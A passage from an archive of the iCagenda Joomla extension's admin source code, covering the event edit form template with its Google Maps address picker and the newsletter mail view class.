					<?php echo JText::_('COM_ICAGENDA_COMPONENT_DESC'); ?>
					<!--nav class="iCheader-videos">
						<span style="font-variant:small-caps">Tutorial Videos</span>
						<a href="#">Add a event</a>
						<a href="#">Video 2</a>
						<a href="#">Video 3</a>
					</nav-->
				</h2>
			</header>

			<div>&nbsp;</div>

			<!-- Alert Messages -->
			<div>
				<?php if ($messagealert) :?>
				<div style="background: #990000; color: #FFFFFF; border-radius: 10px; border: 1px solid #D4D4D4; padding: 20px; margin-bottom:20px;">
					<?php echo '<h2>' . JText::_('COM_ICAGENDA_FORM_WARNING') . '</h2>' . $messagealert; ?>
				</div>
				<?php endif; ?>
				<?php if ($alert && ! $messagealert) : ?>
				<div style="background: #FFFFFF; color: red; border-radius: 10px; border: 1px solid #D4D4D4; padding: 10px; margin-bottom:20px;">
					<strong><?php echo $alert; ?></strong>
				</div>
				<?php endif; ?>
			</div>

			<!-- Begin Content -->
			<div class="row-fluid">
				<div class="span10 form-horizontal">

					<!-- Open Panel Set -->
					<?php echo JHtml::_($startPane, 'icTab', array('active' => 'event')); ?>

						<!-- Panel Event -->
						<?php echo JHtml::_($addPanel, $icPanEvent, $EventTag1, $EventTag2); ?>

							<div class="icpanel iCleft">
								<h1>
									<?php echo empty($this->item->id) ? JText::_('COM_ICAGENDA_LEGEND_NEW_EVENT') : JText::sprintf('COM_ICAGENDA_LEGEND_EDIT_EVENT', $this->item->id); ?>
								</h1>
								<hr>
								<div class="row-fluid">
									<div class="span6 iCleft">
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('title'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('title'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('catid'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('catid'); ?>
											</div>
										</div>
									</div>
									<div class="span6 iCleft">
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('image'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('image'); ?>
											</div>
										</div>
										<div class="control-group">
											<div>
												<img src="../<?php echo $this->item->image; ?>" alt="" id="jform_image_preview" class="media-preview" style="float:right; max-width:100%; max-height:350px;">
											</div>
										</div>
									</div>
								</div>
							</div>


						<?php
						if (version_compare(JVERSION, '3.0', 'ge'))
						{
							echo JHtml::_($endPanel);
						}
						?>

						<!-- Panel Dates -->
						<?php echo JHtml::_($addPanel, $icPanDates, $DatesTag1, $DatesTag2); ?>

							<div class="icpanel iCleft">
								<h1><?php echo JText::_('COM_ICAGENDA_LEGEND_DATES'); ?></h1>
								<!--div class="row-fluid">
									<div class="span12 iCleft">
										<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_SINGLE_DATES'); ?></h3>
										<div class="control-group">
											<?php echo $this->form->getInput('eventDates'); ?>
										</div>
									</div>
								</div-->
								<hr>
								<div class="row-fluid">
									<div class="span6 iCleft">
										<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_PERIOD_DATES'); ?></h3>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('startdate'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('startdate'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('enddate'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('enddate'); ?>
											</div>
										</div>
										<!--div class="control-group">
										</div-->
									</div>
									<div class="span6 iCleft">
										<h3>&nbsp;</h3>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('weekdays'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('weekdays'); ?>
											</div>
										</div>
										<!--div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('weekdays_filter'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('weekdays_filter'); ?>
											</div>
										</div-->
										<div class="control-group">
											<div class="alert alert-info">
												<h4><?php echo JText::_('COM_ICAGENDA_FORM_WEEK_DAYS_INFO_TITLE'); ?></h4>
												<?php echo JText::_('COM_ICAGENDA_FORM_WEEK_DAYS_INFO_DESC'); ?>
											</div>
										</div>
										<!--div class="control-group">
										</div-->
									</div>
								</div>
								<hr>
								<div class="row-fluid">
									<div class="span6 iCleft">
										<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_SINGLE_DATES'); ?></h3>
										<div class="control-group">
											<?php echo $this->form->getInput('dates'); ?>
										</div>
									</div>
								</div>
								<hr>
								<div class="row-fluid">
									<div class="span6 iCleft">
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('displaytime'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('displaytime'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('next'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('next'); ?>
											</div>
										</div>
									</div>
								</div>
								<hr>

								<?php
								echo '<fieldset style="margin:0">'
									.JHtml::_('sliders.start', 'info-slider', array('useCookie'=>0, 'startOffset'=>-1, 'startTransition'=>1))
									.JHtml::_('sliders.panel', JText::_('COM_ICAGENDA_DATES_HELP'), 'slide1')
									.'<fieldset class="panelform" >'
									.'<ul class="adminformlist" style="color:#555555;">'
									.'<div>'. JText::_('COM_ICAGENDA_DATES_HELP_INTRO').'</div><br>'
									.'<div style="text-transform:uppercase;"><b>'. JText::_('COM_ICAGENDA_LEGEND_SINGLE_DATES').'</b></div>'
									.'<div><b>&#9658; '. JText::_('COM_ICAGENDA_DATES_HELP_LINE1').'</b></div>'
									.'<div><i>'. JText::_('COM_ICAGENDA_DATES_HELP_EXAMPLE1').'</i></div><br>'
									.'<div><b>&#9658; '. JText::_('COM_ICAGENDA_DATES_HELP_LINE2').'</b></div>'
									.'<div><i>'. JText::_('COM_ICAGENDA_DATES_HELP_EXAMPLE2').'</i></div><br>'
									.'<div style="text-transform:uppercase;"><b>'. JText::_('COM_ICAGENDA_LEGEND_PERIOD_DATES').'</b></div>'
									.'<div><b>&#9658; '. JText::_('COM_ICAGENDA_DATES_HELP_LINE3').'</b></div>'
									.'<div><i>'. JText::_('COM_ICAGENDA_DATES_HELP_EXAMPLE3').'</i></div><br>'
									.'<div style="text-transform:uppercase;"><b>'. JText::_('COM_ICAGENDA_LEGEND_PERIOD_DATES').' & '. JText::_('COM_ICAGENDA_LEGEND_SINGLE_DATES').'</b></div>'
									.'<div><b>&#9658; '. JText::_('COM_ICAGENDA_DATES_HELP_LINE4').'</b></div>'
									.'<div><i>'. JText::_('COM_ICAGENDA_DATES_HELP_EXAMPLE4').'</i></div><br>'
									.'<div><b>&#9658; '. JText::_('COM_ICAGENDA_DATES_HELP_LINE5').'</b></div>'
									.'<div><i>'. JText::_('COM_ICAGENDA_DATES_HELP_EXAMPLE5').'</i></div><br>'
									.'</ul>'
									.'</fieldset>'
									.JHtml::_('sliders.end')
									.'<br />';
								?>
							</div>

						<?php
						if(version_compare(JVERSION, '3.0', 'ge'))
						{
							echo JHtml::_($endPanel);
						}
						?>

						<!-- Panel Description -->
						<?php echo JHtml::_($addPanel, $icPanDesc, $DescTag1, $DescTag2); ?>

							<div class="icpanel iCleft">
								<h1><?php echo JText::_('COM_ICAGENDA_LEGEND_DESC'); ?></h1>
								<hr>
								<div class="row-fluid">
									<h3><?php echo JText::_('COM_ICAGENDA_FORM_EVENT_SHORT_DESCRIPTION_LBL'); ?></h3>
									<div class="alert alert-info"><?php echo JText::_('COM_ICAGENDA_FORM_EVENT_SHORT_DESCRIPTION_DESC'); ?></div>
									<?php echo $this->form->getInput('shortdesc'); ?>
								</div>
								<hr>
								<div class="row-fluid">
									<h3><?php echo JText::_('COM_ICAGENDA_FORM_DESC_EVENT_DESC'); ?></h3>
									<?php echo $this->form->getInput('desc'); ?>
								</div>
								<hr>
								<div class="row-fluid">
									<h3><?php echo JText::_('COM_ICAGENDA_FORM_EVENT_METADESC_LBL'); ?></h3>
									<div class="alert alert-info"><?php echo JText::_('COM_ICAGENDA_FORM_EVENT_METADESC_DESC'); ?></div>
									<?php echo $this->form->getInput('metadesc'); ?>
								</div>
							</div>

						<?php
						if (version_compare(JVERSION, '3.0', 'ge'))
						{
							echo JHtml::_($endPanel);
						}
						?>

						<!-- Panel Information -->
						<?php echo JHtml::_($addPanel, $icPanInfos, $InfosTag1, $InfosTag2); ?>

							<div class="icpanel iCleft">
								<h1><?php echo JText::_('COM_ICAGENDA_LEGEND_INFORMATION'); ?></h1>
								<hr>
								<div class="row-fluid">
									<div class="span6 iCleft">
										<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_VENUE'); ?></h3>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('place'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('place'); ?>
											</div>
										</div>
										<hr>
										<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_CONTACT'); ?></h3>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('email'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('email'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('phone'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('phone'); ?>
											</div>
										</div>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('website'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('website'); ?>
											</div>
										</div>
										<hr>
										<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_ALLEG'); ?></h3>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('file'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('file'); ?>
											</div>
										</div>
										<hr>
									</div>
									<div class="span6 iCleft">
										<h3><?php echo JText::_('COM_ICAGENDA_LEGEND_FEATURES'); ?></h3>
										<div class="control-group">
											<div class="control-label">
												<?php echo $this->form->getLabel('features'); ?>
											</div>
											<div class="controls">
												<?php echo $this->form->getInput('features'); ?>
											</div>
										</div>
										<hr>
										<h3><?php echo JText::_('COM_ICAGENDA_CUSTOMFIELDS'); ?></h3>
										<?php
										// Load Custom fields - Event form (2)
										echo icagendaCustomfields::loader(2);
										?>
									</div>
								</div>
							</div>

						<?php
						if (version_compare(JVERSION, '3.0', 'ge'))
						{
							echo JHtml::_($endPanel);
						}
						?>

						<!-- Panel Google Maps -->
						<?php echo JHtml::_($addPanel, $icPanGooglemap, $GooglemapTag1, $GooglemapTag2); ?>

					<div class="icpanel iCleft" id="googlemap">
						<h1><?php echo JText::_('COM_ICAGENDA_LEGEND_GOOGLE_MAPS'); ?></h1>
						<hr>
						<div class="row-fluid">
							<div class="span6 iCleft">

							<h3><?php echo JText::_('COM_ICAGENDA_GOOGLE_MAPS_SUBTITLE_LBL'); ?></h3>
							<div>
								<?php echo JText::_('COM_ICAGENDA_GOOGLE_MAPS_NOTE1'); ?>
								<br/>
								<?php echo JText::_('COM_ICAGENDA_GOOGLE_MAPS_NOTE2'); ?><br/>
							</div>
							<!--div class='clearfix'-->
							<div class="icmap-box">

								<div class="control-group">
									<div class="control-label">
										<?php echo $this->form->getLabel('address'); ?>
									</div>
									<div class="controls">
										<?php echo $this->form->getInput('address'); ?>
									</div>
								</div>
								<div class="icmap-field">
									<?php echo $this->form->getInput('city'); ?>
								</div>
								<div class="icmap-field">
									<?php echo $this->form->getInput('country'); ?>
								</div>
								<div class="icmap-field">
									<?php echo $this->form->getInput('lat'); ?>
								</div>
								<div class="icmap-field">
									<?php echo $this->form->getInput('lng'); ?>
								</div>
								<!--label>District: </label> <input id="administrative_area_level_2" disabled=disabled> <br/>
								<label>State/Province: </label> <input id="administrative_area_level_1" disabled=disabled> <br/-->
								<!--label>route: </label> <input id="route"> <br/>
								<label>Postal Code: </label> <input id="postal_code" disabled=disabled> <br/>
								<label>type: </label> <input id="type" disabled=disabled> <br/-->

							</div>
						</div>
						<div class="span6 iCleft">
							<div class='map-wrapper'>
								<h3>Map</h3>
								<label id="geo_label" for="reverseGeocode"><?php echo JText::_('COM_ICAGENDA_GOOGLE_MAPS_REVERSE'); ?></label>
								<select id="reverseGeocode">
									<option value="false" selected><?php echo JText::_('JNO'); ?></option>
									<option value="true"><?php echo JText::_('JYES'); ?></option>
								</select><br/>

								<div id="map"></div>
								<div id="legend"><?php echo JText::_('COM_ICAGENDA_GOOGLE_MAPS_LEGEND'); ?></div>
							</div>
						</div>

						<!--div class='input-positioned'>
							<label>Callback: </label>
							<textarea id='callback_result' rows="15"></textarea>
						</div-->
					</div>
				</div>

				<?php
				if (version_compare(JVERSION, '3.0', 'ge'))
				{
					echo JHtml::_($endPanel);
				}
				?>

				<?php
				echo JHtml::_($addPanel, $icPanRegistrations, $RegistrationsTag1, $RegistrationsTag2);
				?>
				<div class="icpanel iCleft">
					<h1><?php echo JText::_('COM_ICAGENDA_REGISTRATIONS_LABEL'); ?></h1>
					<hr>
					<div class="row-fluid">
					<?php foreach ($params as $name => $fieldSet) : ?>
						<?php if ( ! in_array($name, array('frontend', 'options'))) : ?>
							<?php if (isset($fieldSet->description) && trim($fieldSet->description)) : ?>
								<p class="tip"><?php echo $this->escape(JText::_($fieldSet->description));?></p>
							<?php endif; ?>
							<div class="span6 iCleft">
								<h3><?php echo $this->escape(JText::_($fieldSet->label)); ?></h3>
								<?php foreach ($this->form->getFieldset($name) as $field) : ?>
									<div class="control-group">
										<div class="control-label">
											<?php echo $field->label; ?>
										</div>
										<div class="controls">
											<?php
											$language = JFactory::getLanguage();
											$language->load('com_icagenda', JPATH_SITE, 'en-GB', true);
											$language->load('com_icagenda', JPATH_SITE, null, true);

											if (($field->name == 'jform[params][statutReg]') && ($field->value == '2'))
											{
												echo '<select name="jform[params][statutReg]">';
												echo '<option value="">' . JText::_('JGLOBAL_USE_GLOBAL') . '</option>';
												echo '<option value="0" selected>' . JText::_('JOFF') . '</option>';
												echo '<option value="1">' . JText::_('JON') . '</option>';
												echo '</select>';
											}
											elseif ($field->name == 'jform[params][maxRlistGlobal]')
											{
												 if ($field->value == '1')
												 {
													echo '<select name="jform[params][maxRlistGlobal]">';
													echo '<option value="" selected>' . JText::_('JGLOBAL_USE_GLOBAL') . '</option>';
													echo '<option value="2">' . JText::_('COM_ICAGENDA_LBL_CUSTOM_VALUE') . '</option>';
													echo '</select>';
												}
												 elseif ($field->value == '0')
												 {
													echo '<select name="jform[params][maxRlistGlobal]">';
													echo '<option value="">' . JText::_('JGLOBAL_USE_GLOBAL') . '</option>';
													echo '<option value="2" selected>' . JText::_('COM_ICAGENDA_LBL_CUSTOM_VALUE') . '</option>';
													echo '</select>';
												}
												else
												{
													echo $field->input;
												}
											}
											else
											{
												echo $field->input;
											}
											?>
										</div>
									</div>
								<?php endforeach; ?>
							</div>
						<?php endif; ?>
					<?php endforeach; ?>
					</div>
				</div>


				<?php
				if (version_compare(JVERSION, '3.0', 'ge'))
				{
					echo JHtml::_($endPanel);
				}
				?>

				<?php
				echo JHtml::_($addPanel, $icPanOptions, $OptionsTag1, $OptionsTag2);
				?>
				<div class="icpanel iCleft">
					<h1><?php echo JText::_('JOPTIONS'); ?></h1>
					<hr>
					<div class="row-fluid">
					<?php foreach ($params as $name => $fieldSet) : ?>
						<?php if ($name == 'options') : ?>
							<?php if (isset($fieldSet->description) && trim($fieldSet->description)) : ?>
								<p class="tip"><?php echo $this->escape(JText::_($fieldSet->description));?></p>
							<?php endif; ?>
							<div class="span6 iCleft">
								<h3><?php echo $this->escape(JText::_($fieldSet->label)); ?></h3>
								<?php foreach ($this->form->getFieldset($name) as $field) : ?>
									<div class="control-group">
										<div class="control-label">
											<?php echo $field->label; ?>
										</div>
										<div class="controls">
											<?php
											$language = JFactory::getLanguage();
											$language->load('com_icagenda', JPATH_SITE, 'en-GB', true);
											$language->load('com_icagenda', JPATH_SITE, null, true);
											echo $field->input;
											?>
										</div>
									</div>
								<?php endforeach; ?>
							</div>
						<?php endif; ?>
					<?php endforeach; ?>
					</div>
				</div>


				<?php
				if (version_compare(JVERSION, '3.0', 'ge'))
				{
					echo JHtml::_($endPanel);
				}
				?>

				<?php
				echo JHtml::_($addPanel, $icPanPublishing, $PublishingTag1, $PublishingTag2);
				?>
				<div class="icpanel iCleft">
					<h1><?php echo JText::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></h1>
					<hr>
					<div class="row-fluid">
						<div class="span6 iCleft">
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('alias'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('alias'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('id'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('id'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('created'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('created'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('created_by'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('created_by'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('created_by_alias'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('created_by_alias'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('modified'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('modified'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('modified_by'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('modified_by'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('checked_out'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('checked_out'); ?>
								</div>
							</div>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('checked_out_time'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('checked_out_time'); ?>
								</div>
							</div>
							<?php if (!empty($this->item->site_itemid)) : ?>
							<h2><?php echo $this->escape(JText::_('COM_ICAGENDA_FORM_FRONTEND_OPTIONS'));?></h2>
							<hr>
							<div class="control-group">
								<div class="control-label">
									<?php echo $this->form->getLabel('site_itemid'); ?>
								</div>
								<div class="controls">
									<?php echo $this->form->getInput('site_itemid'); ?>
								</div>
							</div>
							<?php endif; ?>
							<!--
							<?php foreach ($params as $name => $fieldSet) : ?>
								<?php if ($name == 'publishing') : ?>
									<?php foreach ($this->form->getFieldset($name) as $field) : ?>
										<?php if (($field->name == 'jform[params][start_publishing]')
													&& ($field->value != '') && ($field->value != '0')) : ?>
											<?php if (isset($fieldSet->label) && trim($fieldSet->label)) : ?>
												<h2><?php echo $this->escape(JText::_($fieldSet->label));?></h2>
												<hr>
											<?php endif; ?>
											<div class="control-group">
												<div class="control-label">
													<?php echo $field->label; ?>
												</div>
												<div class="controls">
													<?php echo $field->input; ?>
												</div>
											</div>
										<?php endif; ?>
									<?php endforeach; ?>
								<?php endif; ?>
							<?php endforeach; ?>
							-->
						</div>
					</div>
				</div>



				<?php echo JHtml::_($endPanel); ?>

				<?php echo JHtml::_($endPane, 'icTab'); ?>
			</div>

		<!-- Begin Sidebar -->
			<div class="span2 iCleft">
			<h4><?php echo JText::_('COM_ICAGENDA_TITLE_SIDEBAR_DETAILS'); ?></h4>
			<hr>
				<div class="control-group">
					<div class="control-label">
						<?php echo $this->form->getLabel('state'); ?>
					</div>
					<div class="controls">
						<?php echo $this->form->getInput('state'); ?>
					</div>
				</div>
				<div class="control-group">
					<div class="control-label">
						<?php echo $this->form->getLabel('approval'); ?>
					</div>
					<div class="controls">
						<?php echo $this->form->getInput('approval'); ?>
					</div>
				</div>
				<div class="control-group">
					<div class="control-label">
						<?php echo $this->form->getLabel('access'); ?>
					</div>
					<div class="controls">
						<?php echo $this->form->getInput('access'); ?>
					</div>
				</div>
				<div class="control-group">
					<div class="control-label">
						<?php echo $this->form->getLabel('language'); ?>
					</div>
					<div class="controls">
						<?php echo $this->form->getInput('language'); ?>
					</div>
				</div>


			</div>
		<!-- End Sidebar -->
		</div>

		<div class="clr"></div>
		</div>
		<?php
		if ($messagealert)
		{
			$this->item->state=='0';
		}
		?>
		<div>
			<input type="hidden" name="task" value="" />
			<?php echo JHtml::_('form.token'); ?>
		</div>
	</form>

	<script type="text/javascript">
		//<![CDATA[
		var iCmapDisplay = '<?php echo $iCmapDisplay; ?>';

		jQuery(function($) {
			// Tabs
			if (iCmapDisplay=='1') {
				$iCgvar='a[href="#googlemap"]';
				$iCmapShow='shown';
			}
			if (iCmapDisplay=='3') {
				$iCgvar='.googlemap';
				$iCmapShow='click';
			}
			// Slides
			if (iCmapDisplay=='2') {
				$iCgvar='#googlemap';
				$iCmapShow='shown';
			}

			$(''+$iCgvar+'').on(''+$iCmapShow+'', function() {   // When tab is displayed...
//			$('.googlemap').on('click', function (e) {

				var addresspicker = $( "#addresspicker" ).addresspicker();
				var addresspickerMap = $( '#jform_address' ).addresspicker({
					regionBias: "fr",
					updateCallback: showCallback,
					mapOptions: {
						zoom: <?php echo $zoom; ?>,
						center: new google.maps.LatLng(<?php echo $coords; ?>),
						scrollwheel: false,
						mapTypeId: google.maps.MapTypeId.<?php echo $mapTypeId; ?>,
						streetViewControl: false
					},
					elements: {
						map: "#map",
						lat: "#lat",
						lng: "#lng",
						street_number: '#street_number',
						route: '#route',
						locality: '#locality',
						administrative_area_level_2: '#administrative_area_level_2',
						administrative_area_level_1: '#administrative_area_level_1',
						country: '#country',
						postal_code: '#postal_code',
						type: '#type',
					}
				});

				var gmarker = addresspickerMap.addresspicker( "marker");
				gmarker.setVisible(true);
				addresspickerMap.addresspicker( "updatePosition");

				$('#reverseGeocode').change(function(){
					$("#jform_address").addresspicker("option", "reverseGeocode", ($(this).val() === 'true'));
				});

				function showCallback(geocodeResult, parsedGeocodeResult){
					$('#callback_result').text(JSON.stringify(parsedGeocodeResult, null, 4));
				}
			});
		});
		//]]>
	</script>

	<?php

	// Script validation for Event Edit form (2)
	$iCheckForm = icagendaForm::submit(2);
	$document->addScriptDeclaration($iCheckForm);

	// CSS files which could be overridden into your site template. (eg. /templates/my_template/css/com_icagenda/icagenda-back.css)
	JHtml::stylesheet( 'com_icagenda/icagenda.css', false, true );
	JHtml::stylesheet( 'com_icagenda/jquery-ui-1.8.17.custom.css', false, true );

	$ic_style = 'div.tip img.media-preview {display:none}';
	$document->addStyleDeclaration($ic_style);

	// Joomla 2.5
	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		JHtml::stylesheet('com_icagenda/template.j25.css', false, true);
		JHtml::stylesheet('com_icagenda/icagenda-back.j25.css', false, true);

		JHtml::_('behavior.framework');

		// load jQuery, if not loaded before (NEW VERSION IN 1.2.6)
		$scripts = array_keys($document->_scripts);
		$scriptFound = false;
		$scriptuiFound = false;
		$mapsgooglescriptFound = false;
		for ($i = 0; $i < count($scripts); $i++)
		{
			if (stripos($scripts[$i], 'jquery.min.js') !== false)
			{
				$scriptFound = true;
			}
			// load jQuery, if not loaded before as jquery - added in 1.2.7
			if (stripos($scripts[$i], 'jquery.js') !== false)
			{
				$scriptFound = true;
			}
			if (stripos($scripts[$i], 'jquery-ui.min.js') !== false)
			{
				$scriptuiFound = true;
			}
			if (stripos($scripts[$i], 'maps.google') !== false)
			{
				$mapsgooglescriptFound = true;
			}
		}

		// jQuery Library Loader
		if (!$scriptFound)
		{
			// load jQuery, if not loaded before
			if (!$app->get('jquery'))
			{
				$app->set('jquery', true);
				// add jQuery
				$document->addScript('https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js');
				$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/jquery.noconflict.js' );
			}
		}

		if (!$scriptuiFound)
		{
			$document->addScript('https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js');
		}

		$document->addScript( JURI::root( true ) . '/media/com_icagenda/js/template.js' );
	}
	else
	{
		JHtml::_('bootstrap.framework');
		JHtml::_('jquery.framework');

		// Change jQuery UI version from 1.9.2 to 1.8.23 to prevent a conflict in tooltip that appeared since Joomla 3.1.4
//		$document->addScript('https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js');
		$document->addScript('https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.23/jquery-ui.min.js');
	}

	/**
	 * Google Maps api V3
	 */
	$curlang	= $document->language;
	$lang		= substr($curlang,0,2);
	$document->addScript('https://maps.googleapis.com/maps/api/js?sensor=false&language='.$lang);

	/**
	 * Script files which could be overridden into your site template.
	 * (eg. /templates/my_template/js/com_icagenda/FILE_NAME.js)
	 */
	JHtml::script( 'com_icagenda/timepicker.js', false, true );
	JHtml::script( 'com_icagenda/icdates.js', false, true );
	JHtml::script( 'com_icagenda/icmap.js', false, true );
	JHtml::script( 'com_icagenda/icform.js', false, true );
}
else
{
	if (defined('IC_LIBRARY')) $app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
	$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=icagenda'));
}
com_icagenda/views/event/tmpl/index.html000060400000000032152455305270014363 0ustar00<html><body></body></html>com_icagenda/views/event/index.html000060400000000032152455305270013407 0ustar00<html><body></body></html>com_icagenda/views/mail/view.html.php000060400000006515152455305270013655 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.9 2015-07-30
 * @since       2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * View class Admin - Mail Newsletter - iCagenda
 */
class iCagendaViewMail extends JViewLegacy
{
	protected $data;

	protected $state;

	protected $item;

	protected $form;

	/**
	 * Display the view
	 */
	public function display($tpl = null)
	{
		// Joomla 2.5
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			jimport( 'joomla.environment.request' );

			JHtml::stylesheet('com_icagenda/template.j25.css', false, true);
			JHtml::stylesheet('com_icagenda/icagenda-back.j25.css', false, true);

			JHtml::_('behavior.mootools');

			$app		= JFactory::getApplication();
			$document	= JFactory::getDocument();

			// load jQuery, if not loaded before
			$scripts = array_keys($document->_scripts);
			$scriptFound = false;

			for ($i = 0; $i < count($scripts); $i++)
			{
				if (stripos($scripts[$i], 'jquery.min.js') !== false
					|| stripos($scripts[$i], 'jquery.js') !== false)
				{
					$scriptFound = true;
				}
			}

			// jQuery Library Loader
			if (!$scriptFound)
			{
				// load jQuery, if not loaded before
				if (!$app->get('jquery'))
				{
					$app->set('jquery', true);

					// Add jQuery Library
					$document->addScript('https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js');
					JHtml::script('com_icagenda/jquery.noconflict.js', false, true);
				}
			}
		}

		$this->form		= $this->get('Form');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 */
	protected function addToolbar()
	{
		JRequest::setVar('hidemainmenu', true);

		$user	= JFactory::getUser();

		$canDo	= iCagendaHelper::getActions();

		// Set Title
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::title(JText::_('COM_ICAGENDA_TITLE_MAIL'), 'mail.png');
		}
		else
		{
			JToolBarHelper::title('iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_TITLE_MAIL') . '</span>', 'mail');
		}

		$icTitle = JText::_('COM_ICAGENDA_TITLE_MAIL');

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();
		$sitename	= $app->getCfg('sitename');
		$title		= $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;
		$document->setTitle($title);


		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::custom('mail.send', 'forward.png', 'forward.png', 'ICAGENDA_JTOOLBAR_SEND', false );
		}
		else
		{
			JToolbarHelper::custom('mail.send', 'envelope.png', 'send_f2.png', 'ICAGENDA_JTOOLBAR_SEND', false);
		}

		JToolBarHelper::cancel('mail.cancel', 'JTOOLBAR_CLOSE');
	}
}
com_icagenda/views/mail/tmpl/edit.php000060400000012016152455305270013632 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.9 2015-07-30
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

JHtml::_('behavior.tooltip');
JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidation');

if (version_compare(JVERSION, '3.0', 'ge'))
{
	JHtml::_('formbehavior.chosen', 'select');
}

$app = JFactory::getApplication();

//$session		= JFactory::getSession();
//$ic_newsletter	= $session->get('ic_newsletter', array());

$script = "\t" . 'Joomla.submitbutton = function(pressbutton) {' . "\n";
